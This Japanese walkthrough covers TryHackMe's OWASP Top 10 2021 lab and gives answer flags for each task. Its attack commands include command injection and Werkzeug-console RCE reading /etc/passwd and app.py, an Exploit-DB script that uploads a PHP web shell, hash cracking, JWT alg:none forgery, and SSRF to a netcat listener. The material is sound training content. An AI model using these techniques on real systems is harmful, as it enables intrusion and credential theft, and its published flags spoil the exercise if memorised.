【TryHackMe】OWASP Top 10 - 2021：Walkthrough

# 概要

TryHackMe「OWASP Top 10 - 2021」のWalkthroughです。

https://tryhackme.com/r/room/owasptop102021

# Task4

## **Q2**.*Deploy the machine and go to http://MACHINE_IP - Login with the username noot and the password test1234.*

ターゲットマシンを起動し、Webサイトにアクセスするとログインフォームが表示されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cad8e7f5-dc13-ac1a-61a0-861ca0ed3bc1.png)

`Username: noot`,`Password: test1234`でログインします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/50bbdbb9-cbf3-2a50-1b53-160888d71f28.png)

## **Q3**.*Look at other users' notes. What is the flag?*

**Hint**.*The URL contains ?note_id=1 - I wonder what happens if you change the parameter value? You might be able to access another user's notes.*

`note_id=1`のように`note_id`パラメータで指定された番号のノートが表示されるようです。

`note_id=0`を指定すると別のノートデータを取得でき、フラグを入手しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/29992283-5119-384b-bc84-5a960738e856.png)

**A**.**flag{fivefourthree}**

# Task8

## **Q1**.*What is the name of the mentioned directory?*

**Hint**.*Have a look at the source code on the /login page.*

`81`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9eb3857e-6b22-01f9-a5b9-22ccff62858a.png)

`/login.php`のソースコードから`/assets`パスを発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/60d224dd-246c-4601-cb3a-3d6ea7d80c4d.png)

**A**.**/assets**

## **Q2**.*Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?*

`/assets`へアクセスすると`webapp.db`を発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/08943b93-1e26-2b48-177a-34e702866e26.png)

**A**.**webapp.db**

## **Q3**.*Use the supporting material to access the sensitive data. What is the password hash of the admin user?*

`webapp.db`をダウンロードし、データを確認するとアカウント名とパスワードハッシュ値を発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b2be8cb5-98de-d160-ef38-999b00c98856.png)

**A**.**6eea9b7ef19179a06954edd0f6c05ceb**

## **Q4**.*What is the admin's plaintext password?*

**Hint**.*Read the supporting material.*

下記サイトを利用してハッシュ値を解析します。

https://crackstation.net/

`admin`のパスワードハッシュ解析に成功し、パスワードの平文が分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9e4ed98a-06c3-793a-4523-19ec0174d6b8.png)

**A**.**qwertyuiop**

## **Q5**.*Log in as the admin. What is the flag?*

`/login.php`から`Username: admin`,`Password: qwertyuiop`でログインするとフラグを入手できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1c1836ce-dd86-6e1d-eabf-b2f62995e476.png)

**A**.**THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}**

# Task10

## **Q1**.*What strange text file is in the website's root directory?*

`82`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9e43d49a-cc2c-b3e7-2398-d22930025103.png)

`$()`でコマンドインジェクションに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9be59fd8-5287-a4fb-5d44-fa6d59f8d602.png)

`$(ls)`でファイル構成を確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1d84e4dd-bf86-6106-25f2-534949acccc5.png)

**A**.**drpepper.txt**

## **Q2**.*How many non-root/non-service/non-daemon users are there?*

`/etc/passwd`を確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8e4211a8-f5c6-514b-2433-8cd5cc223d3f.png)

**A**.**0**

## **Q3**.*What user is this app running as?*

`whoami`コマンドで確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9be59fd8-5287-a4fb-5d44-fa6d59f8d602.png)

**A**.**apache**

## **Q4**.*What is the user's shell set as?*

`/etc/passwd`から確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/95049f21-a3d9-122b-6872-3c857886bb64.png)

**A**.**/sbin/nologin**

## **Q5**.*What version of Alpine Linux is running?*

**Hint**.*The version can be found in "/etc/alpine-release".*

`/etc/alpine-release`から確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ccacfbbd-6268-3934-1219-4c77cc008b4d.png)

**A**.**3.16.0**

# Task11

## **Q2**.*What is the value of the flag in joseph's account?*

**Hint**.*Is there any security question that can be easily guessed?*

`85`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/589c057f-dcfe-da8f-4be9-545fd295dada.png)

`joseph`のパスワードが分からないので`/resetpass1.php`からパスワード変更を試みます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6b4e6caf-4f5e-81ce-1622-40df387af3b9.png)

秘密の質問が3つありますが、`favorite color`から推測するのが簡単そうです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fde5b9b8-515c-0683-5197-83b04dac0ba8.png)

最終的に`green`を入力すると新しいパスワードが発行されたのでメモしておきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d23356b0-cb78-9718-c093-546efe804b40.png)

新しいパスワードでログインに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/23f2cf39-c4f2-74f6-8326-b8586ee0aba0.png)

テキストファイルからフラグを入手できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/856ef7c2-ed6c-75e7-2e65-514d41d2d327.png)

**A**.**THM{Not_3ven_c4tz_c0uld_sav3_U!}**

# Task12

## **Q1**.*Navigate to http://TARGET_IP:86/console to access the Werkzeug console.*

`/console`にアクセスするとWerkzeugのコンソールが表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f5da1ea3-794c-5247-ffe7-388d28fa5b9a.png)

## **Q2**.*What is the database file name (the one with the .db extension) in the current directory?*

`os`モジュールを利用してコンソールからRCEが成功しました。

```
import os; print(os.popen("ls -l").read())
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7ff253f7-0203-fa3d-64f8-9511f1c257dd.png)

**A**.**todo.db**

## **Q3**.*Modify the code to read the contents of the app.py file, which contains the application's source code. What is the value of the secret_flag variable in the source code?*

**Hint**.*The flag looks like THM{...}. Be sure to write it without the surrounding quotes!*

`app.py`のコードを確認します。

```
import os; print(os.popen("cat app.py").read())
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/81351f49-e57a-0b9e-5ded-a898182cd053.png)

**A**.**THM{Just_a_tiny_misconfiguration}**

# Task15

## **Q1**.*What is the content of the /opt/flag.txt file?*

**Hint**.*You know it's a bookstore application. You should check for recent unauthenticated bookstore apps RCEs.*

`84`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/db2aae9b-ba83-e5e0-c781-55e7626c55db.png)

フッター情報から`projectworlds`が分かったのでエクスプロイトを検索すると`Unauthenticated`のRCEが見つかりました。

https://www.exploit-db.com/exploits/47887

エクスプロイトコードを実行するとシェルの獲得に成功しました。

```
$ python exploit.py http://10.10.49.239:84          
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.49.239:84/bootstrap/img/vNbVWnLMHO.php
> Example command usage: http://10.10.49.239:84/bootstrap/img/vNbVWnLMHO.php?cmd=whoami
> Do you wish to launch a shell here? (y/n): y
RCE $ whoami
apache
```

`/opt/flag.txt`からフラグを入手できました。

```
$ cat /opt/flag.txt
THM{But_1ts_n0t_my_f4ult!}
```

**A**.**THM{But_1ts_n0t_my_f4ult!}**

# Task17

## **Q1**.*What is the flag that you found in darren's account?*

`8088`ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/005683c1-66b3-b237-21ae-90fe236da53b.png)

アカウント作成ページでユーザー名`darren`アカウントの作成を試みると既に作成されたアカウントだと分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f4ae5724-1129-5150-3985-cf9429303afe.png)

再度、アカウント作成ページから`darren`(先頭に空白を入れる)アカウントを作成し、ログインすると既存の`darren`アカウントにログイン出来ました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/26fa6ead-b292-5dc2-bbdf-e38149d2bc1e.png)

**A**.**fe86079416a21a3c99937fea8874b667**

## **Q3**.*What is the flag that you found in arthur's account?*

同様の手法で`arthur`アカウントへのログインにも成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1871c545-bb78-f6b1-aa2b-677542cbdee0.png)

**A**.**d9ac0f7db4fda460ac3edeb75d75e16e**

# Task19

## **Q1**.*What is the SHA-256 hash of hxxps://code.jquery.com/jquery-1.12.4.min.js?*

**Hint**.*Remember you can use hxxps://www.srihash.org/ to calculate integrity hashes for SRI.*

下記サイトでSHA256ハッシュ値を生成します。

https://www.srihash.org/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3bffd295-6e7b-b88a-8add-8e43ad90a9dc.png)

**A**.**sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=**

# Task20

## **Q1**.*Try logging into the application as guest. What is guest's account password?*

**Hint**.*Try logging in with the wrong credentials.*

`8089`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3b9b0699-cbc7-e505-128a-e18a4d9418d8.png)

`Username: guest`,`Password: guest`でログインに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/acbc5321-6702-1ba9-1b2b-6c073f91a8d0.png)

**A**.**guest**

## **Q2**.*What is the name of the website's cookie containing a JWT token?*

デベロッパーツールからJWTを確認できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1e16fc97-7d92-e933-135e-91bc0e802aa1.png)

**A**.**jwt-session**

## **Q4**.*What is the flag presented to the admin user?*

JWTの解析には下記サイトを利用しました。

https://www.gavinjl.me/edit-jwt-online-alg-none/

アルゴリズムを`none`に、`username`を`admin`に編集し、値をデベロッパーツールでcookieに入れるとadminページが表示され、フラグを入手できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/35a891a3-9590-7c21-d272-a6c9303697a7.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/21b50bc3-b953-4050-1512-953dfe23b8a0.png)

**A**.**THM{Dont_take_cookies_from_strangers}**

# Task21

## **Q1**.*What IP address is the attacker using?*

**Hint**.*Check for common actions in a short sequence of time.*

管理者アカウントでの認証を試みて、失敗しているログが怪しいです。

```
$ cat login-logs_1595366583422.txt                  
200 OK           12.55.22.88 jr22          2019-03-18T09:21:17 /login
200 OK           14.56.23.11 rand99        2019-03-18T10:19:22 /login
200 OK           17.33.10.38 afer11        2019-03-18T11:11:44 /login
200 OK           99.12.44.20 rad4          2019-03-18T11:55:51 /login
200 OK           67.34.22.10 bff1          2019-03-18T13:08:59 /login
200 OK           34.55.11.14 hax0r         2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin         2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous     2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root          2019-03-21T21:08:30 /login
```

**A**.**49.99.13.16**

## **Q2**.*What kind of attack is being carried out?*

**Hint**.*What do you call trying combinations of usernames and passwords to gain access to users' accounts?*

**A**.**Brute Force**

# Task22

## **Q1**.*Explore the website. What is the only host allowed to access the admin area?*

**Hint**.*Try to access the admin area. Can you find any useful info in the error messages?*

`8087`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4c2fc8d1-e5b8-5f70-23c3-ed98dbb38027.png)

ディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.48.207:8087/
[13:03:15] 200 -   48B  - /admin                                            
[13:04:10] 200 -    2KB - /console                                          
[13:04:21] 200 -   20B  - /download
```

`/admin`にアクセスすると、`localhost`からのみアクセス可能なようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/811e3022-103b-61ca-0cda-8e0760dedac4.png)

**A**.**localhost**

## **Q2**.*Check the "Download Resume" button. Where does the server parameter point to?*

インデックスページの`Download Resume`からPDFファイルをダウンロードできるようです。
`secure-file-storage.com:8087`を通信先に指定しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/99ea2fbd-62b1-096d-13a3-294023afdf3e.png)

**A**.**secure-file-storage.com**

## **Q3**.*Using SSRF, make the application send the request to your AttackBox instead of the secure file storage. Are there any API keys in the intercepted request?*

Netcatでリッスンします。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
```

通信先のサーバーを自身のマシンに指定します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/21e834cd-04ab-64d4-884c-112d31c2dbf7.png)

フラグを入手できました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.48.207] 47524
GET /public-docs-k057230990384293/75482342.pdf HTTP/1.1
Host: 10.6.55.144:1234
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}
```

**A**.**THM{Hello_Im_just_an_API_key}**